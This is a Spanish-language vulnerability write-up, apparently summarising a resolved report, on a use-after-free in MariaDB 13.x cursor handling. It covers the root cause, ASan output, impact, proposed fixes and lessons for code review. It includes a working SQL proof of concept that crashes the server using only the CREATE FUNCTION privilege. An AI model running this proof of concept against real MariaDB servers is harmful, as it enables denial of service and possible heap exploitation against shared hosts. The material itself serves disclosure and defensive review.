Resumen
El investigador encontró un uso después de liberar (use-after-free) en la gestión de cursores de MariaDB 13.1.0-alpha (rama main). El problema aparece al abrir un cursor cuya consulta, a su vez, abre más cursores de tipo SYS_REFCURSOR: en ese momento la estructura que guarda los cursores crece, reserva memoria nueva y libera la anterior, dejando colgados varios punteros que el código sigue usando después.
Según el reporte, basta con tener el privilegio CREATE FUNCTION, algo habitual en cualquier usuario con su propia base de datos (por ejemplo, en alojamiento compartido). El resultado va desde la caída del servidor hasta la corrupción del heap, con posibilidad de ejecución de código.
Dónde está el fallo
El origen está en sp_cursor::open() (sql/sp_rcontext.cc, línea 845), que llama a:
mysql_open_cursor(thd, &result, &server_side_cursor, cursor_name, return_type)
Las direcciones &result y &server_side_cursor apuntan a miembros de un objeto sp_cursor que vive dentro de un Dynamic_array llamado m_statement_cursors. Durante la llamada a mysql_execute_command() (dentro de mysql_open_cursor()), si el SELECT del cursor ejecuta una función que abre más cursores SYS_REFCURSOR, ese Dynamic_array se queda sin espacio, reasigna su buffer interno y libera el bloque antiguo. A partir de ahí, los punteros que se pasaron a la función apuntan a memoria liberada.
Cuando mysql_execute_command() termina, el código sigue trabajando con esos punteros colgantes en sql/sql_cursor.cc:
- Línea 250:
materialized_cursor->open(result, 0)— una llamada a método virtual a través del punteroresultya liberado, lo que da control sobre el flujo de ejecución. - Línea 255:
*pcursor = materialized_cursor— una escritura a través del punteropcursorliberado, que corrompe el heap.
El reporte subraya que este fallo no quedó cubierto por MDEV-40396 (commit 9b075b2c, 17-jul-2026). Aquella corrección atacó una manifestación distinta: eliminó el miembro almacenado Server_side_cursor::select, que se quedaba obsoleto. Pero los parámetros que sp_cursor::open() pasa a mysql_open_cursor() en la línea 845 no se tocaron y siguen quedando colgantes tras la reasignación.
Pasos de reproducción
El investigador reproduce el fallo con una función almacenada que abre 17 cursores (uno más que los 16 que caben por defecto, lo que fuerza la reasignación del array) y un procedimiento que abre un cursor sobre un SELECT de esa función:
-- MariaDB 13.x con soporte de SYS_REFCURSOR
-- Requiere: privilegio CREATE FUNCTION
CREATE DATABASE IF NOT EXISTS test;
USE test;
DELIMITER //
-- Función que fuerza la reasignación del array de cursores (17 > 16 huecos por defecto)
CREATE OR REPLACE FUNCTION trigger_realloc() RETURNS INT
BEGIN
DECLARE c1 SYS_REFCURSOR;
DECLARE c2 SYS_REFCURSOR;
DECLARE c3 SYS_REFCURSOR;
DECLARE c4 SYS_REFCURSOR;
DECLARE c5 SYS_REFCURSOR;
DECLARE c6 SYS_REFCURSOR;
DECLARE c7 SYS_REFCURSOR;
DECLARE c8 SYS_REFCURSOR;
DECLARE c9 SYS_REFCURSOR;
DECLARE c10 SYS_REFCURSOR;
DECLARE c11 SYS_REFCURSOR;
DECLARE c12 SYS_REFCURSOR;
DECLARE c13 SYS_REFCURSOR;
DECLARE c14 SYS_REFCURSOR;
DECLARE c15 SYS_REFCURSOR;
DECLARE c16 SYS_REFCURSOR;
DECLARE c17 SYS_REFCURSOR;
OPEN c1 FOR SELECT 1;
OPEN c2 FOR SELECT 1;
OPEN c3 FOR SELECT 1;
OPEN c4 FOR SELECT 1;
OPEN c5 FOR SELECT 1;
OPEN c6 FOR SELECT 1;
OPEN c7 FOR SELECT 1;
OPEN c8 FOR SELECT 1;
OPEN c9 FOR SELECT 1;
OPEN c10 FOR SELECT 1;
OPEN c11 FOR SELECT 1;
OPEN c12 FOR SELECT 1;
OPEN c13 FOR SELECT 1;
OPEN c14 FOR SELECT 1;
OPEN c15 FOR SELECT 1;
OPEN c16 FOR SELECT 1;
OPEN c17 FOR SELECT 1;
RETURN 1;
END//
CREATE OR REPLACE PROCEDURE trigger_uaf()
BEGIN
DECLARE c SYS_REFCURSOR;
OPEN c FOR SELECT trigger_realloc();
END//
DELIMITER ;
SET SESSION max_open_cursors = 100;
CALL trigger_uaf();
-- El servidor cae con un heap-use-after-free
Compilado con AddressSanitizer (-DWITH_ASAN=ON), el fallo se delata así:
==61==ERROR: AddressSanitizer: heap-use-after-free on address 0xffffb380f0c0
SUMMARY: AddressSanitizer: heap-use-after-free /opt/mariadb/sql/sql_cursor.cc:250:15
in Materialized_cursor::open(select_result*, JOIN*)
La compilación afectada es MariaDB 13.1.0-alpha (HEAD de la rama main, agosto de 2026).
Impacto
Según el reporte:
- Ejecución de código: el puntero colgante
resultse usa para una llamada a método virtual. Si la memoria liberada se vuelve a ocupar con contenido controlado por el atacante (mediante reservas desde sesiones concurrentes), la resolución de la vtable puede acabar ejecutando código del atacante. - Corrupción del heap:
*pcursor = materialized_cursorescribe 8 bytes en memoria liberada, dañando cualquier estructura que reutilice ese bloque. - Privilegio necesario: solo
CREATE FUNCTION, al alcance de cualquier usuario con base de datos propia, caso típico del alojamiento compartido. - Versiones afectadas: MariaDB 13.0.x y 13.1.x (cualquiera con soporte de
SYS_REFCURSOR).
Remediación
El investigador propone tres caminos, todos orientados a que los punteros no sobrevivan a una reasignación del array:
- Refrescar
resultyserver_side_cursordespués de quemysql_execute_command()retorne, volviéndolos a derivar delsp_cursoractual (que puede haberse movido), en lugar de pasarlos antes. - "Fijar" el
Dynamic_arraymientrasmysql_open_cursor()mantiene referencias dentro de él, evitando quem_statement_cursorsse reasigne (por ejemplo, reservando capacidad por adelantado). - Guardar los resultados en una asignación aparte no movible, de forma parecida a lo que MDEV-40396 hizo con
Server_side_cursor::select, pero aplicado esta vez a los parámetros del punto de llamada.
El reporte figura como resuelto y con severidad alta en el programa de MariaDB.
Qué aprender de este caso
- Cuando una función C/C++ recibe punteros a elementos de un vector dinámico (aquí
&resulty&server_side_cursor, miembros de un objeto dentro de unDynamic_array), revisa si el código que se ejecuta en medio puede hacer crecer ese vector: una reasignación mueve los elementos y deja esos punteros colgantes. Es un patrón a buscar en cualquier contenedor que reasigne (std::vector, arrays propios). - Al arreglar un use-after-free, comprueba que el parche cubre todos los puntos de llamada, no solo el miembro almacenado que saltó primero: aquí MDEV-40396 quitó un campo obsoleto pero dejó intacta la línea 845 que seguía pasando punteros frágiles.
- La reasignación se dispara al superar la capacidad reservada (16 huecos por defecto): los límites "redondos" de un contenedor son justo donde conviene probar, abriendo deliberadamente uno más de los que caben.
- En motores de bases de datos, privilegios aparentemente inocuos como
CREATE FUNCTIONpermiten ejecutar lógica anidada (una función que abre cursores dentro delSELECTde otro cursor); al modelar amenazas, trata ese privilegio como superficie de ataque sobre la memoria del servidor, no solo sobre los datos.